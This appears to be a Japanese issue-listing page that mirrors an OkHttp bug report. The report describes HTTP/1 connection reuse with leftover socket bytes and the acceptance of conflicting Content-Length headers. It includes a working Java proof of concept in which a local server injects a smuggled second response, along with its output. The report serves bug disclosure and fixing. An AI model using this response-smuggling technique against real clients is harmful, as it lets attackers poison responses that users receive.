Pooled HTTP/1 connection reused with a response left on the socket
メンテナーはふだん 1 日以内に返信
まだ誰も着手していません。
評価
- 難易度
- 4/5
- 見積もり時間
- 3〜5日
- 初心者へのやさしさ
- 48/100
- issue の種類
- バグ
- 明瞭さ
- 明確に書かれている
- 活発さ
- 活発
- 技術スタック
- kotlin
- 領域
- networking
調査の方向性
Start with Http1ExchangeCodec.kt around FixedLengthSource.read and RealConnection.kt around isHealthy; the issue also points to -UtilJvm.kt for headersContentLength(). Read the HTTP/1 response-body and connection-pooling tests, then run the relevant tests. Done means trailing bytes cannot become the next response and conflicting Content-Length values are rejected.
索引モデルが issue の本文から書いたものです。
説明
OkHttp returns an HTTP/1 connection to the pool as soon as the declared Content-Length has been consumed, without checking if there are still any remaining unread bytes on the socket. Those bytes can contain a complete second response, which is then returned as the response to the next request using that connection.
FixedLengthSource.read calls responseBodyComplete() as soon as bytesRemaining reaches zero:
https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/http1/Http1ExchangeCodec.kt#L450-L456
There doesn't seem to be any check for data left on the socket before the connection is pooled.RealConnection.isHealthy does have some check, but it only runs after the connection has been idle for some time:
https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/connection/RealConnection.kt#L321-L323
So back to back requests skip it the check.
OkHttp also accepts conflicting Content-Length headers, as headersContentLength() takes headers["Content-Length"] and parses it:
https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/-UtilJvm.kt#L243-L246
Since Headers.get returns the last value when there's multiple, two different lengths are resolved instead of rejected, depsite RFC 9112#6.3 saying it should be treated as an error (https://www.rfc-editor.org/rfc/rfc9112.html#section-6.3)
Demonstrating this in practise, we set up a server which server accepts one connection and sends both responses at once. Due to the bug, it never sends a response to the second request:
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.InetAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
import java.util.concurrent.atomic.AtomicInteger;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
public class Poc38 {
static final AtomicInteger connections = new AtomicInteger();
public static void main(String[] args) throws Exception {
boolean duplicate = args.length == 0 || args[0].equals("duplicate");
String responseHeaders = duplicate
? "HTTP/1.1 200 OK\r\nContent-Length: 0\r\nContent-Length: 5\r\n\r\n"
: "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\n";
String wire = responseHeaders
+ "first"
+ "HTTP/1.1 200 OK\r\nContent-Length: 17\r\n\r\nSMUGGLED RESPONSE";
ServerSocket server = new ServerSocket(0, 50, InetAddress.getByName("127.0.0.1"));
new Thread(() -> {
try {
Socket s = server.accept();
connections.incrementAndGet();
drainRequest(s.getInputStream());
s.getOutputStream().write(wire.getBytes(StandardCharsets.US_ASCII));
s.getOutputStream().flush();
Thread.sleep(60_000);
} catch (Exception ignored) {
}
}).start();
String base = "http://127.0.0.1:" + server.getLocalPort();
OkHttpClient client = new OkHttpClient();
System.out.println("mode: " + (duplicate
? "two Content-Length headers (0 and 5)"
: "one Content-Length (5) plus trailing bytes"));
try (Response r = client.newCall(new Request.Builder().url(base + "/one").build()).execute()) {
System.out.println("GET /one -> " + r.code() + " body=" + r.body().string());
}
try (Response r = client.newCall(new Request.Builder().url(base + "/two").build()).execute()) {
System.out.println("GET /two -> " + r.code() + " body=" + r.body().string());
}
System.out.println("TCP connections accepted by server: " + connections.get());
System.exit(0);
}
static void drainRequest(InputStream in) throws IOException {
BufferedReader r = new BufferedReader(new InputStreamReader(in, StandardCharsets.US_ASCII));
String line;
while ((line = r.readLine()) != null && !line.isEmpty()) {
}
}
}
This results in:
mode: two Content-Length headers (0 and 5)
GET /one -> 200 body=first
GET /two -> 200 body=SMUGGLED RESPONSE
TCP connections accepted by server: 1
mode: one Content-Length (5) plus trailing bytes
GET /one -> 200 body=first
GET /two -> 200 body=SMUGGLED RESPONSE
TCP connections accepted by server: 1
The second mode, which has just one normal Content-Length, shows that any bytes after the declared body length can poison the contention in the same way: since the GET /two is answered using the bytes the server sent for get /ONE, and the connection count shows that both requests used the same socket.
This relies on a shared OkHttpClient, which based on a quick google and stackoverflow threads, it seems to be a completely reasonable thing to do (e.g. https://stackoverflow.com/questions/48532860/is-it-thread-safe-to-make-calls-to-okhttpclient-in-parallel).
- 主要言語
- Kotlin
- スター
- 47.1k
- フォーク
- 9.3k
- 平均マージ
- 18時間 18分
- マージ済み PR(30日)
- 15
環境構築
このプロジェクトには開発コンテナ、Dockerfile、コントリビューションガイドがありません。まず README を読み、一般的な手順ははじめてのコントリビューションガイドを参照してください。
はじめの一歩
- issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
- 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
- リポジトリをフォークし、ブランチを切って変更します。
- issue 番号を参照したプルリクエストを送ります。
lysine-dev/okhttp のほかの issue
-
難易度 1/5 1時間未満 初心者へのやさしさ 85/100
lysine-dev/okhttp#9788 ·
メンテナーはふだん 1 日以内に返信
-
enhancement
難易度 2/5 1〜3時間 初心者へのやさしさ 68/100
lysine-dev/okhttp#9761 · コメント 3 件 ·
メンテナーはふだん 1 日以内に返信
-
Remove crossinline `addInterceptor` and `addNetworkInterceptor` overloads再び着手できるかも @Amir-Golmoradi が 7 日前に担当しましたが、オープン中のプルリクエストはありません。 オープンenhancement
難易度 3/5 1〜2日 初心者へのやさしさ 58/100
lysine-dev/okhttp#9779 · コメント 1 件 ·
メンテナーはふだん 1 日以内に返信
-
HTTP/2 Data padding is not counted toward the connection flow-control window. This deadlocks connections with peers that pad.対応中かも @Amir-Golmoradi が 3 日前に担当しました。 オープンbug
難易度 3/5 1〜2日 初心者へのやさしさ 67/100
lysine-dev/okhttp#9772 · コメント 6 件 ·
メンテナーはふだん 1 日以内に返信
-
bug
難易度 2/5 1〜3時間 初心者へのやさしさ 55/100
lysine-dev/okhttp#9760 · コメント 3 件 ·
メンテナーはふだん 1 日以内に返信
lysine-dev/okhttp の issue をすべて見る
似ている issue
-
StepExamBenchmarkTest runs a loop and prints a timing but asserts nothing対応中かも このイシューにリンクされたプルリクエストがオープン中、またはマージ済みです。 オープンjules
難易度 1/5 1時間未満 初心者へのやさしさ 82/100
open-learning-exchange/myplanet#18199 · コメント 1 件 ·
メンテナーはふだん 4 日以内に返信
-
難易度 2/5 1〜3時間 初心者へのやさしさ 72/100
auth0/Auth0.Android#1095 · コメント 1 件 ·
メンテナーはふだん 1 日以内に返信
-
Scheme-less stream URLs throw NullPointerException instead of URISyntaxException対応中かも @blihio が今日担当しました。 オープン
難易度 2/5 1〜3時間 初心者へのやさしさ 82/100
pedroSG94/RootEncoder#2218 ·
メンテナーはふだん 3 日以内に返信
-
Test: PlantDetailPlantEditLockTest silent-apply case fails depending on the calendar date (seasonal amplitude)対応中かも @LocNgu が今日担当しました。 オープンbug
難易度 1/5 1時間未満 初心者へのやさしさ 85/100
LocNgu/YAPT-Yet-Another-Plant-Tracker#907 ·
メンテナーはふだん 1 日以内に返信
-
Estimation - 2 (S) Type:bug
難易度 1/5 1時間未満 初心者へのやさしさ 85/100
メンテナーはふだん 2 日以内に返信